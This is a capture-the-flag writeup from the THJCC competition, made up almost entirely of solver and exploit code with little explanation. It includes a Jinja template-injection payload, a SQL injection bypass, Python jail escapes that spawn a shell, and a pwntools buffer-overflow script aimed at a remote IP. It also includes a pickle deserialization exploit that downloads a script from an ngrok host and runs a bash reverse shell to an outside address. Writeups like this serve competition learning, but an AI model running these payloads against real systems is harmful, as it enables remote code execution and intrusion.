THJCC CTF Writeup

1
{{ cycler.__init__.__globals__.os.popen('ls').read() }}
2
{{ cycler.__init__.__globals__.os.popen('cat f*').read() }}

1
username, password = base64.b64decode(content.encode()).decode(encoding="utf8").split("@")
2
        # 去除所有空格
3
        username = "".join(username.split())
4
        password = "".join(password.split())
5

6
        # 過濾username中所有特殊字符
7
        mu = re.match(r'.*\W', username)
8
        if mu is None:
9
            # 過濾password中所有英文字母跟等號
10
            cflag = False
11
            for w in password:
12
                if (w in string.ascii_letters) or (w == "="): cflag = True
13
            if (cflag): return None
14
            else:
15
                conn = sqlite3.connect("user.db")
16
                rows = conn.execute(f"select * from user where (user='{username}') and (pass='{password}');")
17

18
                result = None
19
                for row in rows: result = tuple(row)
20
                conn.close()
21

22
                if result is None: return None
23
                else: return str(result[0])
24
        else: return None
25
    except: return None

1
admin@')/**/||/**/2>1;--
2

3
base64 = YWRtaW5AJykvKiovfHwvKiovMj4xOy0t

1
name=Frieren&password=B3stan1me

1
__import__('os').system('sh')

1
        print("Try to escape!!This is a jail")
2
        print("I increased security!!!")
3
        a=input("> ")
4
        if len(a)<15:
5
            eval(a)
6
        else:
7
            print("Don't escape!!")
8
    except:
9
        print("error")
10
        exit()

1
eval(input())
2
__import__('os').system('sh')

1
Y0u Successful Escape The l00p! again<div>BTW I do some encrypt of this message xD<br><div><span>w6C6 :D J@FC 7=28</span> 2/3: <span>w24<<<<E96</span></div></div><div><br></div>

1
"3/3","Y0u must master in hacking google form!!!\nS0 You als0 g00d at Crypto!!!\nSGVyZSBpcyB5b3VyIGZsYWcgMy8zIDogX2dvb2dsZV9mMHJNX01vcmRla2Fpc2VyfQ\u003d\u003d"

1
import gmpy2
2

3
n = 82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
4
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157
5

6
for k in range(10000000000):
7
    [r, exact] = gmpy2.iroot(c + n * k, 3)
8
    if exact:
9
        print(k)
10
        print(r)
11
        print(bytes.fromhex(hex(r)[2:]))
12
        print(r ** 3 - n)
13
        break
14

15

16
PS C:\Users\soar\Desktop\THJCC> python .\ano.py
17
0
18
10730390416708815983109252601170483548761139798721771578612051039742995577854304300261210493
19
b'THJCC{small_eeeee_can_be_pwned_easily}'
20
-82905415164584389498448026225415346938606018253321653430325812461733619692702740470358738729810269013826173397262578691991849856264290961085622875149472415789737539211916246613050686384669201430910403455748023510028548778210626948951846171525568106928624546974128471265617762361862575967770449057297547555782

1
import numpy as np
2

3
shares = [(274, 3183503957), (900, 3802401987), (180, 3147556947)] # 手動替換
4
x_values = [x for x, _ in shares]
5
y_values = [y for _, y in shares]
6

7
degree = len(shares) - 1
8
recovered_poly = np.polyfit(x_values, y_values, degree)
9

10
secret = int(recovered_poly[-1])
11

12
print("Recovered Secret:", secret)

1
from itertools import cycle
2

3
def xor(a, b):
4
    return [i^j for i, j in zip(a, cycle(b))]
5

6
KEY= open("key.png", "rb").read()
7
FLAG = open("flag.jpg", "rb").read()
8

9
key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]
10

11
enc = bytearray(xor(FLAG,key))
12

13
open('enc.txt', 'wb').write(enc)

1
from itertools import cycle
2

3
def xor(a, b):
4
    return [i^j for i, j in zip(a, cycle(b))]
5

6
key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
7
enc = open("enc.txt", "rb").read()
8

9
flag = bytearray(xor(enc, key))
10
open('flag.jpg', 'wb').write(flag)

1
void win() {
2
    system("sh");
3
}
4

5

6
int main() {
7
    setvbuf(stdin,0,2,0);
8
    setvbuf(stdout,0,2,0);
9

10
    puts("Do you want to be a VIP of Country Wahahabihal");
11
    printf("You would need %lld dollars if you want\n",main);
12
    char choice [5];
13
    char username[32];
14
    scanf("%5s", choice);
15
  getchar();
16
    if(choice[0] == 'y'){
17
        gets(username);
18
        puts("Congratulation, you're now the 1st VIP of Country Wahahabihal");
19
    }
20
    else {
21
        exit(0);
22
    }
23
    return 0;
24

25
}

1
from pwn import *
2
import time
3

4
context.log_level = 'debug'
5
r = remote('23.146.248.36', 30004)
6

7
r.sendlineafter('you want', 'y')
8
time.sleep(1)
9
addr = 0x40121e
10

11
r.sendline(b'A'*56 + p64(addr))
12
r.interactive()

1
a = [44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
2
tar = 120
3
result = ""
4

5
for i in a:
6
    result += chr(i ^ tar)
7

8
print(result)

1
soar@universe:/mnt/c/Users/soar/Downloads$ pycdc main.pyc
2
# Source Generated with Decompyle++
3
# File: main.pyc (Python 3.10)
4

5
from FLAG import FLAG
6
from Crypto.Util.number import bytes_to_long
7

8
def xor1(flag):
9
    return flag ^ 124789
10

11

12
def xor2(flag):
13
    return flag ^ 487531
14

15

16
def xor3(flag):
17
    return flag ^ 784523
18

19

20
def xor4(flag):
21
    return flag ^ 642871
22

23

24
def xor5(flag):
25
    return flag ^ 474745
26

27
flag = bytes_to_long(FLAG)
28
count = 0
29
count += 1
30
if count == 1:
31
    flag = xor1(flag)
32
    count += 2
33
    if count == 3:
34
        flag = xor2(flag)
35
        count += 1
36
    if count == 4:
37
        flag = xor3(flag)
38
        count -= 2
39
    else:
40
        flag = xor2(flag)
41
        count += 1
42
else:
43
    flag = xor3(flag)
44
    count += 5
45
if count == 2:
46
    flag = xor4(flag)
47
elif count == 6:
48
    flag = xor5(flag)
49
print(flag)

1
from Crypto.Util.number import long_to_bytes
2

3
enc_flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
4

5
def xor1(flag):
6
    return flag ^ 124789
7

8
def xor2(flag):
9
    return flag ^ 487531
10

11
def xor3(flag):
12
    return flag ^ 784523
13

14
def xor4(flag):
15
    return flag ^ 642871
16

17
def xor5(flag):
18
    return flag ^ 474745
19

20
aaa = xor1(xor2(xor3(xor4(enc_flag))))
21

22
print(long_to_bytes(aaa))

1
def profile():
2
    if request.method == "GET":
3
        u, d = parse("example/adminExample.pickle")
4
        return render_template("admin.html", user = u, des = d, fileHeader = "ExampleProfile")
5
    elif request.method == "POST":
6
        if 'file' in request.files:
7
            file = request.files['file']
8
            if file.filename == '': return "FAIL"
9
            else:
10
                filename = f"uploads/{random.randint(1000000000, 9999999999)}.pickle"
11
                file.save(filename)
12
                with open(filename, "rb") as f: item = pickle.load(f)
13
                return render_template("admin.html", user = item.user, des = item.description, fileHeader = "Your Profile")

1
from flask import Flask, send_file
2

3
app = Flask(__name__)
4

5
@app.route('/download')
6
def download_shell():
7
    filename = 'shell.sh'
8
    return send_file('./' + filename, as_attachment=True)
9

10
if __name__ == '__main__':
11
    app.run(debug=True)

1
/bin/sh -i >& /dev/tcp/148.100.77.86/8888 0>&1

1
import pickle
2
import base64
3
import os
4

5
command = 'curl https://b33a-123-193-178-235.ngrok-free.app/download -o /tmp/shell.sh && chmod +x /tmp/shell.sh'
6

7
#command = 'bash /tmp/shell.sh'
8

9
class Exp:
10
    def __reduce__(self):
11
        return (__import__('subprocess').getoutput, (command,))
12

13

14
with open('payload.pickle', 'wb') as f:
15
    pickle.dump(Exp(), f)

1
if YourToKeNinShop!=JWTMODE.JWT_Naup() and (RAM>0 or RAM<0):
2

3
    flash("You are not my MASTER!Bad hacker!")

1
@app.route("/exe", methods=["GET", "POST"])
2
def exe():
3
    if session["RAM"] <3:
4
        return redirect("/FFAM")
5
    data = request.json
6
    user_input = data.get('userInput')
7

8
    BLACKLIST=[ ';', '>','|', '&', '<', '\n','`', '*', '?','{' , '}', '[', ']','%']
9
    for i in BLACKLIST:
10
        if i in user_input:
11
            return "You are not my MASTER.You don't use this character."
12

13
    cmd="cat %s.txt"% (user_input)
14
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
15
    if result.returncode == 0:
16
        output = str(result.stdout)
17

18
        return output
19
    else:
20
        output = "Command failed with error code:"+str(result.returncode)
21
        return output